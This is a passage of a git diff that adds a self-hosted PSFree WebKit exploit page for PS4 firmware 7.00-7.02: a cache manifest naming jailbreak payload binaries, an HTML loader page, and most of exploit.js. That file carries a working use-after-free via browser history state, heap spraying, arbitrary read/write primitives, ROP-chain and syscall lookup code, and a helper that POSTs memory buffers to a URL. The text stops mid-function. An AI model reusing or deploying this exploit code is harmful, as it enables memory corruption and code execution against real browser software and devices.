diff --git a/702L/Cache.manifest b/702L/Cache.manifest new file mode 100644 index 00000000..e158262f --- /dev/null +++ b/702L/Cache.manifest @@ -0,0 +1,21 @@ +CACHE MANIFEST +# v2.5.9 Self-Host + +CopyCH.bin +cache.html +goldhen_2.2.2_702.bin +goldhen_2.3_702.bin +exploit.js +index.html +int64.js +rop.js +userland.js +utils.js +ftp.bin +ps4debug.bin +webrte.bin +disableupdates.bin +enableupdates.bin + +NETWORK: +* \ No newline at end of file diff --git a/702L/CopyCH.bin b/702L/CopyCH.bin new file mode 100644 index 00000000..5c1c24cd Binary files /dev/null and b/702L/CopyCH.bin differ diff --git a/702L/cache.html b/702L/cache.html new file mode 100644 index 00000000..76937081 --- /dev/null +++ b/702L/cache.html @@ -0,0 +1,239 @@ + + +Karo Host Auto Exploit + PSFree Webkit Light Version 7.00 - 7.02 fw + + + + + + +

Karo Host Auto Exploit + PSFree Webkit Light Version 7.00 - 7.02 fw

+

Caching... Wait

+ +
+
+
Designed, Compiled by :   Karo Sharifi +



Super Special Thanks To :   Sleirsgoevy , Al Azif , ChendoChap , SiSTRo ,Specter ,Abc ,Znullptr ,hippie68 ... +
+
+ + + + diff --git a/702L/disableupdates.bin b/702L/disableupdates.bin new file mode 100644 index 00000000..423be910 Binary files /dev/null and b/702L/disableupdates.bin differ diff --git a/702L/enableupdates.bin b/702L/enableupdates.bin new file mode 100644 index 00000000..c42d4e5b Binary files /dev/null and b/702L/enableupdates.bin differ diff --git a/702L/exploit.js b/702L/exploit.js new file mode 100644 index 00000000..79f00014 --- /dev/null +++ b/702L/exploit.js @@ -0,0 +1,1489 @@ +var master_b = new Uint32Array(2); +var slave_b = new Uint32Array(2); +var slave_addr; +var slave_buf_addr; +var master_addr; +addEventListener('unhandledrejection', (event) => { + const reason = event.reason; + // We log the line and column numbers as well since some exceptions (like + // SyntaxError) do not show it in the stack trace. + alert( + `${reason}\n` + + `${reason.sourceURL}:${reason.line}:${reason.column}\n` + + `${reason.stack}` + ); + throw reason; +}) + +const ps4_8_03 = 1; + +// this version for 9.xx +const ps4_9_00 = 2; + +// version 9.xx is for ps5 1.xx-5.xx as well +const ps5_5_00 = ps4_9_00; + +// this version for 6.50-6.72 +const ps4_6_50 = 3; + +// this version for 6.00-6.20 +const ps4_6_00 = 4; +let target = ps4_8_03; +function set_target(value) { + switch (value) { + case ps4_8_03: + case ps4_9_00: + case ps4_6_00: + case ps4_6_50: { + break; + } + default: { + throw RangeError('invalid target: ' + target); + } + } + + target = value; +} + + +function check_range(x) { + return (-0x80000000 <= x) && (x <= 0xffffffff); +} + +function unhexlify(hexstr) { + if (hexstr.substring(0, 2) === "0x") { + hexstr = hexstr.substring(2); + } + if (hexstr.length % 2 === 1) { + hexstr = '0' + hexstr; + } + if (hexstr.length % 2 === 1) { + throw TypeError("Invalid hex string"); + } + + let bytes = new Uint8Array(hexstr.length / 2); + for (let i = 0; i < hexstr.length; i += 2) { + let new_i = hexstr.length - 2 - i; + let substr = hexstr.slice(new_i, new_i + 2); + bytes[i / 2] = parseInt(substr, 16); + } + + return bytes; +} + +function operation(f, nargs) { + return function () { + if (arguments.length !== nargs) + throw Error("Not enough arguments for function " + f.name); + let new_args = []; + for (let i = 0; i < arguments.length; i++) { + if (!(arguments[i] instanceof Int)) { + new_args[i] = new Int(arguments[i]); + } else { + new_args[i] = arguments[i]; + } + } + return f.apply(this, new_args); + }; +} + +class Int { + constructor(low, high) { + let buffer = new Uint32Array(2); + let bytes = new Uint8Array(buffer.buffer); + + if (arguments.length > 2) { + throw TypeError('Int takes at most 2 args'); + } + if (arguments.length === 0) { + throw TypeError('Int takes at min 1 args'); + } + let is_one = false; + if (arguments.length === 1) { + is_one = true; + } + + if (!is_one) { + if (typeof (low) !== 'number' + && typeof (high) !== 'number') { + throw TypeError('low/high must be numbers'); + } + } + + if (typeof low === 'number') { + if (!check_range(low)) { + throw TypeError('low not a valid value: ' + low); + } + if (is_one) { + high = 0; + if (low < 0) { + high = -1; + } + } else { + if (!check_range(high)) { + throw TypeError('high not a valid value: ' + high); + } + } + buffer[0] = low; + buffer[1] = high; + } else if (typeof low === 'string') { + bytes.set(unhexlify(low)); + } else if (typeof low === 'object') { + if (low instanceof Int) { + bytes.set(low.bytes); + } else { + if (low.length !== 8) + throw TypeError("Array must have exactly 8 elements."); + bytes.set(low); + } + } else { + throw TypeError('Int does not support your object for conversion'); + } + + this.buffer = buffer; + this.bytes = bytes; + + this.eq = operation(function eq(b) { + const a = this; + return a.low() === b.low() && a.high() === b.high(); + }, 1); + + this.neg = operation(function neg() { + let type = this.constructor; + + let low = ~this.low(); + let high = ~this.high(); + + let res = (new Int(low, high)).add(1); + + return new type(res); + }, 0); + + this.add = operation(function add(b) { + let type = this.constructor; + + let low = this.low(); + let high = this.high(); + + low += b.low(); + let carry = 0; + if (low > 0xffffffff) { + carry = 1; + } + high += carry + b.high(); + + low &= 0xffffffff; + high &= 0xffffffff; + + return new type(low, high); + }, 1); + + this.sub = operation(function sub(b) { + let type = this.constructor; + + b = b.neg(); + + let low = this.low(); + let high = this.high(); + + low += b.low(); + let carry = 0; + if (low > 0xffffffff) { + carry = 1; + } + high += carry + b.high(); + + low &= 0xffffffff; + high &= 0xffffffff; + + return new type(low, high); + }, 1); + } + + low() { + return this.buffer[0]; + } + + high() { + return this.buffer[1]; + } + + toString(is_pretty) { + if (!is_pretty) { + let low = this.low().toString(16).padStart(8, '0'); + let high = this.high().toString(16).padStart(8, '0'); + return '0x' + high + low; + } + let high = this.high().toString(16).padStart(8, '0'); + high = high.substring(0, 4) + '_' + high.substring(4); + + let low = this.low().toString(16).padStart(8, '0'); + low = low.substring(0, 4) + '_' + low.substring(4); + return '0x' + high + '_' + low; + } +} + +Int.Zero = new Int(0); +Int.One = new Int(1); +function read(u8_view, offset, size) { + let res = 0; + for (let i = 0; i < size; i++) { + res += u8_view[offset + i] << i*8; + } + // << returns a signed integer, >>> converts it to unsigned + return res >>> 0; +} + +function read16(u8_view, offset) { + return read(u8_view, offset, 2); +} + +function read32(u8_view, offset) { + return read(u8_view, offset, 4); +} + +function read64(u8_view, offset) { + let res = []; + for (let i = 0; i < 8; i++) { + res.push(u8_view[offset + i]); + } + return new Int(res); +} + +// for writes less than 8 bytes +function write(u8_view, offset, value, size) { + for (let i = 0; i < size; i++) { + u8_view[offset + i] = (value >>> i*8) & 0xff; + } +} + +function write16(u8_view, offset, value) { + write(u8_view, offset, value, 2); +} + +function write32(u8_view, offset, value) { + write(u8_view, offset, value, 4); +} + +function write64(u8_view, offset, value) { + if (!(value instanceof Int)) { + throw TypeError('write64 value must be an Int'); + } + + let low = value.low(); + let high = value.high(); + + for (let i = 0; i < 4; i++) { + u8_view[offset + i] = (low >>> i*8) & 0xff; + } + for (let i = 0; i < 4; i++) { + u8_view[offset + 4 + i] = (high >>> i*8) & 0xff; + } +} + +function sread64(str, offset) { + let res = []; + for (let i = 0; i < 8; i++) { + res.push(str.charCodeAt(offset + i)); + } + return new Int(res); +} + +const KB = 1024; +const MB = KB * KB; +const GB = KB * KB * KB; +const js_butterfly = 0x8; + +// offsets for JSC::JSArrayBufferView +const view_m_vector = 0x10; +const view_m_length = 0x18; +const view_m_mode = 0x1c; + +// sizeof JSC::JSArrayBufferView +const size_view = 0x20; + +// offsets for WTF::StringImpl +const strimpl_strlen = 4; +const strimpl_m_data = 8; +const strimpl_inline_str = 0x14; + +// sizeof WTF::StringImpl +const size_strimpl = 0x18; + + +let mem = null; + +function init_module(memory) { + mem = memory; +} + +class Addr extends Int { + read8(offset) { + const addr = this.add(offset); + return mem.read8(addr); + } + + read16(offset) { + const addr = this.add(offset); + return mem.read16(addr); + } + + read32(offset) { + const addr = this.add(offset); + return mem.read32(addr); + } + + read64(offset) { + const addr = this.add(offset); + return mem.read64(addr); + } + + // returns a pointer instead of an Int + readp(offset) { + const addr = this.add(offset); + return mem.readp(addr); + } + + write8(offset, value) { + const addr = this.add(offset); + + mem.write8(addr, value); + } + + write16(offset, value) { + const addr = this.add(offset); + + mem.write16(addr, value); + } + + write32(offset, value) { + const addr = this.add(offset); + + mem.write32(addr, value); + } + + write64(offset, value) { + const addr = this.add(offset); + + mem.write64(addr, value); + } +} + +class MemoryBase { + _addrof(obj) { + if (typeof obj !== 'object' + && typeof obj !== 'function' + ) { + throw TypeError('addrof argument not a JS object'); + } + this.worker.a = obj; + write64(this.main, view_m_vector, this.butterfly.sub(0x10)); + let res = read64(this.worker, 0); + write64(this.main, view_m_vector, this._current_addr); + + return res; + } + + addrof(obj) { + return new Addr(this._addrof(obj)); + } + + set_addr(addr) { + if (!(addr instanceof Int)) { + throw TypeError('addr must be an Int'); + } + this._current_addr = addr; + write64(this.main, view_m_vector, this._current_addr); + } + + get_addr() { + return this._current_addr; + } + + write0(size, offset, value) { + const i = offset + 1; + if (i >= 2**32 || i < 0) { + throw RangeError(`read0() invalid offset: ${offset}`); + } + + this.set_addr(new Int(-1)); + + switch (size) { + case 8: { + this.worker[i] = value; + } + case 16: { + write16(this.worker, i, value); + } + case 32: { + write32(this.worker, i, value); + } + case 64: { + write64(this.worker, i, value); + } + default: { + throw RangeError(`write0() invalid size: ${size}`); + } + } + } + + read8(addr) { + this.set_addr(addr); + return this.worker[0]; + } + + read16(addr) { + this.set_addr(addr); + return read16(this.worker, 0); + } + + read32(addr) { + this.set_addr(addr); + return read32(this.worker, 0); + } + + read64(addr) { + this.set_addr(addr); + return read64(this.worker, 0); + } + + // returns a pointer instead of an Int + readp(addr) { + return new Addr(this.read64(addr)); + } + + write8(addr, value) { + this.set_addr(addr); + this.worker[0] = value; + } + + write16(addr, value) { + this.set_addr(addr); + write16(this.worker, 0, value); + } + + write32(addr, value) { + this.set_addr(addr); + write32(this.worker, 0, value); + } + + write64(addr, value) { + this.set_addr(addr); + write64(this.worker, 0, value); + } +} +function make_buffer(addr, size) { + const u = new Uint8Array(1001); + const u_addr = mem.addrof(u); + const old_addr = u_addr.read64(view_m_vector); + const old_size = u_addr.read32(view_m_length); + + u_addr.write64(view_m_vector, addr); + u_addr.write32(view_m_length, size); + const copy = new Uint8Array(u.length); + copy.set(u); + const res = copy.buffer; + + // restore + u_addr.write64(view_m_vector, old_addr); + u_addr.write32(view_m_length, old_size); + + return res; +} + +function check_magic_at(p, is_text) { + const text_magic = [ + new Int([0x55, 0x48, 0x89, 0xe5, 0x41, 0x57, 0x41, 0x56]), + new Int([0x41, 0x55, 0x41, 0x54, 0x53, 0x50, 0x48, 0x8d]), + ]; + const data_magic = [ + new Int(0x20), + new Int(0x3c13f4bf, 0x2), + ]; + + const magic = is_text ? text_magic : data_magic; + const value = [p.read64(0), p.read64(8)]; + + return value[0].eq(magic[0]) && value[1].eq(magic[1]); +} +function find_base(addr, is_text, is_back) { + // ps4 page size + const page_size = 16 * KB; + // align to page size + addr = align(addr, page_size); + const offset = (is_back ? -1 : 1) * page_size; + while (true) { + if (check_magic_at(addr, is_text)) { + break; + } + addr = addr.add(offset) + } + return addr; +} + +function get_view_vector(view) { + if (!ArrayBuffer.isView(view)) { + throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`); + } + return mem.addrof(view).readp(view_m_vector); +} + +function resolve_import(import_addr) { + if (import_addr.read16(0) !== 0x25ff) { + throw Error( + `instruction at ${import_addr} is not of the form: jmp qword` + + ' [rip + X]' + ); + } + const disp = import_addr.read32(2); + const offset = new Int(disp, disp >> 31); + const function_addr = import_addr.readp(offset.add(6)); + + return function_addr; +} + +function init_syscall_array( + syscall_array, + libkernel_web_base, + max_search_size, +) { + if (typeof max_search_size !== 'number') { + throw TypeError(`max_search_size is not a number: ${max_search_size}`); + } + if (max_search_size < 0) { + throw Error(`max_search_size is less than 0: ${max_search_size}`); + } + + const libkernel_web_buffer = make_buffer( + libkernel_web_base, + max_search_size, + ); + const kbuf = new Uint8Array(libkernel_web_buffer); + let text_size = 0; + let found = false; + for (let i = 0; i < max_search_size; i++) { + if (kbuf[i] === 0x72 + && kbuf[i + 1] === 0x64 + && kbuf[i + 2] === 0x6c + && kbuf[i + 3] === 0x6f + ) { + text_size = i; + found = true; + break; + } + } + if (!found) { + throw Error( + '"rdlo" string not found in libkernel_web, base address:' + + ` ${libkernel_web_base}` + ); + } + + for (let i = 0; i < text_size; i++) { + if (kbuf[i] === 0x48 + && kbuf[i + 1] === 0xc7 + && kbuf[i + 2] === 0xc0 + && kbuf[i + 7] === 0x49 + && kbuf[i + 8] === 0x89 + && kbuf[i + 9] === 0xca + && kbuf[i + 10] === 0x0f + && kbuf[i + 11] === 0x05 + ) { + const syscall_num = read32(kbuf, i + 3); + syscall_array[syscall_num] = libkernel_web_base.add(i); + // skip the sequence + i += 11; + } + } +} + +class Memory extends MemoryBase { + constructor(main, worker) { + super(); + + this.main = main; + this.worker = worker; + worker.a = 0; // dummy value, we just want to create the "a" property + this.butterfly = read64(main, js_butterfly); + + write32(main, view_m_length, 0xffffffff); + + this._current_addr = Int.Zero; + + init_module(this); + } +} + + +function die(msg) { + alert(msg); + undefinedFunction(); +} + +function debug_log(msg) { + document.getElementById("progress").style.color = "orange"; + document.getElementById("progress").innerHTML=msg; + let textNode = document.createTextNode(msg); + let node = document.createElement("p").appendChild(textNode); +} + +function clear_log() { + document.body.innerHTML = null; +} + +function str2array(str, length, offset) { + if (offset === undefined) { + offset = 0; + } + let a = new Array(length); + for (let i = 0; i < length; i++) { + a[i] = str.charCodeAt(i + offset); + } + return a; +} + +// alignment must be 32 bits and is a power of 2 +function align(a, alignment) { + if (!(a instanceof Int)) { + a = new Int(a); + } + const mask = -alignment & 0xffffffff; + let type = a.constructor; + let low = a.low() & mask; + return new type(low, a.high()); +} + +async function send(url, buffer, file_name, onload=() => {}) { + const file = new File( + [buffer], + file_name, + {type:'application/octet-stream'} + ); + const form = new FormData(); + form.append('upload', file); + + debug_log('send'); + const response = await fetch(url, {method: 'POST', body: form}); + + if (!response.ok) { + throw Error(`Network response was not OK, status: ${response.status}`); + } + onload(); +} +const syscall_map = new Map(Object.entries({ + 'close': 6, + 'setuid' : 23, + 'getuid' : 24, + 'mprotect': 74, + 'socket' : 97, + 'fchmod' : 124, + 'mlock' : 203, + 'kqueue' : 362, + 'kevent' : 363, + 'mmap' : 477, + // for JIT shared memory + 'jitshm_create' : 533, + 'jitshm_alias' : 534, +})); + +const upper_pad = 0x10000; +// maximum size of the ROP stack +const stack_size = 0x10000; +const total_size = upper_pad + stack_size; + +const argument_pops = [ + 'pop rdi; ret', + 'pop rsi; ret', + 'pop rdx; ret', + 'pop rcx; ret', + 'pop r8; ret', + 'pop r9; ret', +]; + +class ChainBase { + constructor() { + this.is_stale = false; + this.position = 0; + this._return_value = new Uint8Array(8); + this.retval_addr = get_view_vector(this._return_value); + + const stack_buffer = new ArrayBuffer(total_size); + this.stack_buffer = stack_buffer; + this.stack = new Uint8Array(stack_buffer, upper_pad, stack_size); + this.stack_addr = get_view_vector(this.stack); + } + + check_stale() { + if (this.is_stale) { + throw Error('chain already ran, clean it first'); + } + this.is_stale = true; + } + + check_is_empty() { + if (this.position === 0) { + throw Error('chain is empty'); + } + } + + clean() { + this.position = 0; + this.is_stale = false; + } + + push_value(value) { + if (this.position >= stack_size) { + throw Error(`no more space on the stack, pushed value: ${value}`); + } + write64(this.stack, this.position, value); + this.position += 8; + } + + // converts value to Int first + push_constant(value) { + this.push_value(new Int(value)); + } + + get_gadget(insn_str) { + const addr = this.gadgets.get(insn_str); + if (addr === undefined) { + throw Error(`gadget not found: ${insn_str}`); + } + + return addr; + } + + push_gadget(insn_str) { + this.push_value(this.get_gadget(insn_str)); + } + + push_call(func_addr, ...args) { + if (args.length > 6) { + throw TypeError( + 'call() does not support functions that have more than 6' + + ' arguments' + ); + } + + for (let i = 0; i < args.length; i++) { + this.push_gadget(argument_pops[i]); + this.push_constant(args[i]); + } + + if ((this.position & (0x10 - 1)) !== 0) { + this.push_gadget('ret'); + } + + this.push_value(func_addr); + } + + push_syscall(syscall_name, ...args) { + if (typeof syscall_name !== 'string') { + throw TypeError(`syscall_name not a string: ${syscall_name}`); + } + + const sysno = syscall_map.get(syscall_name); + if (sysno === undefined) { + throw Error(`syscall_name not found: ${syscall_name}`); + } + + const syscall_addr = this.syscall_array[sysno]; + if (syscall_addr === undefined) { + throw Error(`syscall number not in syscall_array: ${sysno}`); + } + + this.push_call(syscall_addr, ...args); + } + + // ROP chain to retrieve rax + push_get_retval() { + throw Error('push_get_retval() not implemented'); + } + + run() { + throw Error('run() not implemented'); + } + + get return_value() { + return read64(this._return_value, 0); + } + + static init_class(gadgets, syscall_array=[]) { + for (const insn of argument_pops) { + if (!gadgets.has(insn)) { + throw Error(`gadget map must contain this gadget: ${insn}`); + } + } + this.prototype.gadgets = gadgets; + this.prototype.syscall_array = syscall_array; + } +} + +const ssv_len = (() => { + switch (target) { + case ps4_6_00: { + return 0x58; + } + case ps4_9_00: { + return 0x50; + } + case ps4_6_50: + case ps4_8_03: { + return 0x48; + } + default: { + throw RangeError('invalid target: ' + target); + } + } +})(); + +const num_reuse = 0x400; + +// size of JSArrayBufferView +const original_strlen = ssv_len - size_strimpl; +const buffer_len = 0x20; +const num_str = 0x400; +const num_gc = 30; +const num_space = 19; +const original_loc = window.location.pathname; +const loc = original_loc + '#foo'; +let rstr = null; +let view_leak_arr = []; +let jsview = []; + +// object for saving values +let s1 = {views : []}; +let view_leak = null; + +let input = document.body.appendChild(document.createElement("input")); +let foo = document.body.appendChild(document.createElement("a")); +foo.id = "foo"; +input.id = "input"; +let pressure = null; +function gc(num_loop) { + pressure = Array(100); + for (let i = 0; i < num_loop; i++) { + for (let i = 0; i < pressure.length; i++) { + pressure[i] = new Uint32Array(0x40000); + } + pressure = Array(100); + } + pressure = null; +} + +function sleep(ms) { + return new Promise(resolve => setTimeout(resolve, ms)); +} + +function prepare_uaf() { + // don't want any state0 near state1 + history.pushState('state0', ''); + for (let i = 0; i < num_space; i++) { + history.replaceState('state0', ''); + } + + history.replaceState("state1", "", loc); + + // don't want any state2 near state1 + history.pushState("state2", ""); + for (let i = 0; i < num_space; i++) { + history.replaceState("state2", ""); + } +} + +function free(save) { + history.replaceState('state3', '', original_loc); + + for (let i = 0; i < num_reuse; i++) { + let view = new Uint8Array(new ArrayBuffer(ssv_len)); + for (let i = 0; i < view.length; i++) { + view[i] = 0x41; + } + save.views.push(view); + } +} + +function check_spray(views) { + if (views.length !== num_reuse) { + debug_log(`views.length: ${views.length}`); + die('views.length !== num_reuse, restart the entire exploit'); + } + + for (let i = 0; i < num_reuse; i++) { + if (views[i][0] !== 0x41) { + return i; + } + } + return null; +} + +async function use_after_free(pop_func, save) { + const pop_promise = new Promise((resolve, reject) => { + function pop_wrapper(event) { + try { + pop_func(event, save); + } catch (e) { + reject(e); + } + resolve(); + } + addEventListener("popstate", pop_wrapper, {once:true}); + }); + + prepare_uaf(); + + let num_free = 0; + function onblur() { + if (num_free > 0) { + die('multiple free()s, restart the entire exploit'); + } + free(save); + num_free++; + } + + input.onblur = onblur; + await new Promise((resolve) => { + input.addEventListener('focus', resolve, {once:true}); + input.focus(); + }); + history.back(); + + await pop_promise; +} + +// get arbitrary read +async function setup_ar(save) { + const view = save.ab; + + // set refcount to 1, all other fields to 0/NULL + view[0] = 1; + for (let i = 1; i < view.length; i++) { + view[i] = 0; + } + + delete save.views; + delete save.pop; + gc(num_gc); + debug_log('setup_ar() gc done'); + let total_sleep = 0; + const num_sleep = 8; + while (true && target !== ps4_9_00) { + await sleep(num_sleep); + total_sleep += num_sleep; + + if (view[0] !== 1) { + break; + } + } + debug_log(`total_sleep: ${total_sleep}`); + debug_log(view); + + let num_spray = 0; + while (true) { + const obj = {}; + num_spray++; + + for (let i = 0; i < num_str; i++) { + let str = new String( + 'B'.repeat(original_strlen - 5) + + i.toString().padStart(5, '0') + ); + obj[str] = 0x1337; + } + + if (view[strimpl_inline_str] === 0x42) { + write32(view, strimpl_strlen, 0xffffffff); + } else { + continue; + } + + let found = false; + const str_arr = Object.getOwnPropertyNames(obj); + for (let i = 0; i < str_arr.length; i++) { + if (str_arr[i].length > 0xff) { + rstr = str_arr[i]; + found = true; + debug_log('confirmed correct leaked'); + debug_log(`str len: ${rstr.length}`); + debug_log(view); + debug_log(`read address: ${read64(view, strimpl_m_data)}`); + break; + } + } + if (!found) { + continue; + } + + debug_log(`num_spray: ${num_spray}`); + return; + } +} + +async function double_free(save) { + const view = save.ab; + + await setup_ar(save); + + // Spraying JSArrayBufferViews + debug_log('spraying views'); + let buffer = new ArrayBuffer(buffer_len); + let tmp = []; + const num_alloc = 0x10000; + const num_threshold = 0xfc00; + const num_diff = num_alloc - num_threshold; + for (let i = 0; i < num_alloc; i++) { + // The last allocated are more likely to be allocated after our relative read + if (i >= num_threshold) { + view_leak_arr.push(new Uint8Array(buffer)); + } else { + tmp.push(new Uint8Array(buffer)); + } + } + tmp = null; + debug_log('done spray views'); + let props = []; + for (let i = 0; i < num_diff; i++) { + props.push({ value: 0x43434343 }); + props.push({ value: view_leak_arr[i] }); + } + + debug_log('start find leak'); + search: while (true) { + Object.defineProperties({}, props); + for (let i = 0; i < 0x800000; i++) { + let v = null; + if (rstr.charCodeAt(i) === 0x43 && + rstr.charCodeAt(i + 1) === 0x43 && + rstr.charCodeAt(i + 2) === 0x43 && + rstr.charCodeAt(i + 3) === 0x43 + ) { + // check if PropertyDescriptor + if (rstr.charCodeAt(i + 0x08) === 0x00 && + rstr.charCodeAt(i + 0x0f) === 0x00 && + rstr.charCodeAt(i + 0x10) === 0x00 && + rstr.charCodeAt(i + 0x17) === 0x00 && + rstr.charCodeAt(i + 0x18) === 0x0e && + rstr.charCodeAt(i + 0x1f) === 0x00 && + rstr.charCodeAt(i + 0x28) === 0x00 && + rstr.charCodeAt(i + 0x2f) === 0x00 && + rstr.charCodeAt(i + 0x30) === 0x00 && + rstr.charCodeAt(i + 0x37) === 0x00 && + rstr.charCodeAt(i + 0x38) === 0x0e && + rstr.charCodeAt(i + 0x3f) === 0x00 + ) { + v = str2array(rstr, 8, i + 0x20); + // check if array of JSValues pointed by m_buffer + } else if (rstr.charCodeAt(i + 0x10) === 0x43 && + rstr.charCodeAt(i + 0x11) === 0x43 && + rstr.charCodeAt(i + 0x12) === 0x43 && + rstr.charCodeAt(i + 0x13) === 0x43) { + v = str2array(rstr, 8, i + 8); + } + } + if (v !== null) { + view_leak = new Int(v); + break search; + } + } + } + // + // /!\ + // Critical part ended-up here + // /!\ + // + debug_log('end find leak'); + debug_log('view addr ' + view_leak); + + let rstr_addr = read64(view, strimpl_m_data); + write64(view, strimpl_m_data, view_leak); + for (let i = 0; i < 4; i++) { + jsview.push(sread64(rstr, i*8)); + } + write64(view, strimpl_m_data, rstr_addr); + write32(view, strimpl_strlen, original_strlen); + debug_log('contents of JSArrayBufferView'); + debug_log(jsview); +} + +function find_leaked_view(rstr, view_rstr, view_m_vector, view_arr) { + const old_m_data = read64(view_rstr, strimpl_m_data); + + let res = null; + write64(view_rstr, strimpl_m_data, view_m_vector); + for (const view of view_arr) { + const magic = 0x41424344; + write32(view, 0, magic); + + if (sread64(rstr, 0).low() === magic) { + res = view; + break; + } + } + write64(view_rstr, strimpl_m_data, old_m_data); + + if (res === null) { + die('not found'); + } + return res; +} + + +class Reader { + // leaker will be the view whose address we leaked + constructor(rstr, view_rstr, leaker, leaker_addr) { + this.rstr = rstr; + this.view_rstr = view_rstr; + this.leaker = leaker; + this.leaker_addr = leaker_addr; + this.old_m_data = read64(view_rstr, strimpl_m_data); + + // Create a butterfy with the "a" property as the first. leaker is a + // JSArrayBufferView. Instances of that class don't have inlined + // properties and the butterfly is immediately created. + leaker.a = 0; // dummy value, we just want to create the "a" property + } + + addrof(obj) { + if (typeof obj !== 'object' + && typeof obj !== 'function' + ) { + throw TypeError('addrof argument not a JS object'); + } + + this.leaker.a = obj; + + // no need to modify the length, original_strlen is large enough + write64(this.view_rstr, strimpl_m_data, this.leaker_addr); + + const butterfly = sread64(this.rstr, js_butterfly); + write64(this.view_rstr, strimpl_m_data, butterfly.sub(0x10)); + + const res = sread64(this.rstr, 0); + + write64(this.view_rstr, strimpl_m_data, this.old_m_data); + return res; + } + + get_view_vector(view) { + if (!ArrayBuffer.isView(view)) { + throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`); + } + + write64(this.view_rstr, strimpl_m_data, this.addrof(view)); + const res = sread64(this.rstr, view_m_vector); + + write64(this.view_rstr, strimpl_m_data, this.old_m_data); + return res; + } +} + +// data to write to the SerializedScriptValue +// +// Setup to make deserialization create an ArrayBuffer with its buffer address +// pointing to a JSArrayBufferView (worker). +// +// TypedArrays (JSArrayBufferView) created via "new TypedArray(x)" where x <= +// 1000 (fastSizeLimit) have ther buffers allocated on the JavaScript heap +// (m_mode = FastTypedArray). Requesting the buffer property ("view.buffer") +// (calls possiblySharedBuffer()) of such a view will allocate a new buffer on +// the fastMalloc heap, the contents of the old one will be copied. This will +// change the m_vector field, so care must be taken if you cache the result of +// get_view_vector(), you must call it again to get the updated field. +// +// See enum TypedArrayMode from +// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h and +// possiblySharedBuffer() from +// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h at PS4 8.03. +function setup_ssv_data(reader) { + const r = reader; + // sizeof WTF::Vector + const size_vector = 0x10; + // sizeof JSC::ArrayBufferContents + const size_abc = target === ps4_9_00 ? 0x18 : 0x20; + + // WTF::Vector + const m_data = new Uint8Array(size_vector); + const data = new Uint8Array(9); + + // m_buffer + write64(m_data, 0, r.get_view_vector(data)); + // m_capacity + write32(m_data, 8, data.length); + // m_size + write32(m_data, 0xc, data.length); + + // 6 is the serialization format version number for ps4 6.00. The format + // is backwards compatible and using a value less than the current version + // number used by a specific WebKit version is considered valid. + // + // See CloneDeserializer::isValid() from + // WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.03. + const CurrentVersion = 6; + const ArrayBufferTransferTag = 23; + write32(data, 0, CurrentVersion); + data[4] = ArrayBufferTransferTag; + write32(data, 5, 0); + + // WTF::Vector + const abc_vector = new Uint8Array(size_vector); + // JSC::ArrayBufferContents + const abc = new Uint8Array(size_abc); + + write64(abc_vector, 0, r.get_view_vector(abc)); + write32(abc_vector, 8, 1); + write32(abc_vector, 0xc, 1); + + // m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap, + // unlike FastTypedArray, where the buffer is managed by the GC. This + // prevents random crashes. + // + // See JSGenericTypedArrayView::visitChildren() from + // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at + // PS4 8.03. + const worker = new Uint8Array(new ArrayBuffer(1)); + + if (target !== ps4_9_00) { + // m_destructor + write64(abc, 0, Int.Zero); + // m_shared + write64(abc, 8, Int.Zero); + // m_data + write64(abc, 0x10, r.addrof(worker)); + // m_sizeInBytes + write32(abc, 0x18, size_view); + } else { + // m_data + // m_data + write64(abc, 0, r.addrof(worker)); + // m_destructor + write64(abc, 8, Int.Zero); + // m_shared + write64(abc, 0xe, Int.Zero); + // m_sizeInBytes + write32(abc, 0x14, size_view); + } + + return { + m_data, + m_arrayBufferContentsArray : r.get_view_vector(abc_vector), + worker, + // keep a reference to prevent garbage collection + nogc : [ + data, + abc_vector, + abc, + ], + }; +} + +// get arbitrary read/write +async function setup_arw(save, ssv_data) { + const num_msg = 1000; + const view = save.ab; + let msgs = []; + + function onmessage(event) { + msgs.push(event); + } + addEventListener('message', onmessage); + + // Free the StringImpl so we can spray SerializedScriptValues over the + // buffer of the view. The StringImpl is safe to free since we fixed it up + // earlier. + rstr = null; + while (true) { + for (let i = 0; i < num_msg; i++) { + postMessage('', origin); + } + + while (msgs.length !== num_msg) { + await sleep(100); + } + + if (view[strimpl_inline_str] !== 0x42) { + break; + } + + msgs = []; + } + removeEventListener('message', onmessage); + + debug_log('view contents:'); + for (let i = 0; i < ssv_len; i += 8) { + debug_log(read64(view, i)); + } + + // save SerializedScriptValue + const copy = []; + for (let i = 0; i < view.length; i++) { + copy.push(view[i]); + } + + const {m_data, m_arrayBufferContentsArray, worker, nogc} = ssv_data; + write64(view, 8, read64(m_data, 0)); + write64(view, 0x10, read64(m_data, 8)); + write64(view, 0x18, m_arrayBufferContentsArray); + + for (const msg of msgs) { + if (msg.data !== '') { + //alert('achieved arbitrary r/w'); + debug_log('achieved arbitrary r/w'); + + const u = new Uint8Array(msg.data); + debug_log('deserialized ArrayBuffer:'); + for (let i = 0; i < size_view; i += 8) { + debug_log(read64(u, i)); + } + + const mem = new Memory(u, worker); + + var prim = { + read1(addr) { + addr = new Int(addr.low, addr.hi); + const res = mem.read8(addr); + return res; + }, + + read2(addr) { + addr = new Int(addr.low, addr.hi); + const res = mem.read16(addr); + return res; + }, + + read4(addr) { + addr = new Int(addr.low, addr.hi); + const res = mem.read32(addr); + return res; + }, + + read8(addr) { + addr = new Int(addr.low, addr.hi); + const res = mem.read64(addr); + return new int64(res.low(), res.high()); + }, + + write1(addr, value) { + addr = new Int(addr.low, addr.hi); + mem.write8(addr, value); + }, + + write2(addr, value) { + addr = new Int(addr.low, addr.hi); + mem.write16(addr, value); + }, + + write4(addr, value) { + addr = new Int(addr.low, addr.hi); + mem.write32(addr, value); + }, + + write8(addr, value) { + addr = new Int(addr.low, addr.hi); + if (value instanceof int64) { + value = new Int(value.low, value.hi); + mem.write64(addr, value); + } else { + mem.write64(addr, new Int(value)); + } + + }, + + leakval(obj) { + const res = mem.addrof(obj); + return new int64(res.low(), res.high()); + } + }; + window.prim = prim; + + // restore SerializedScriptValue + view.set(copy); + + // cleanup + view_leak_arr = null; + view_leak = null; + jsview = null; + input = null; + foo = null; + + // Before 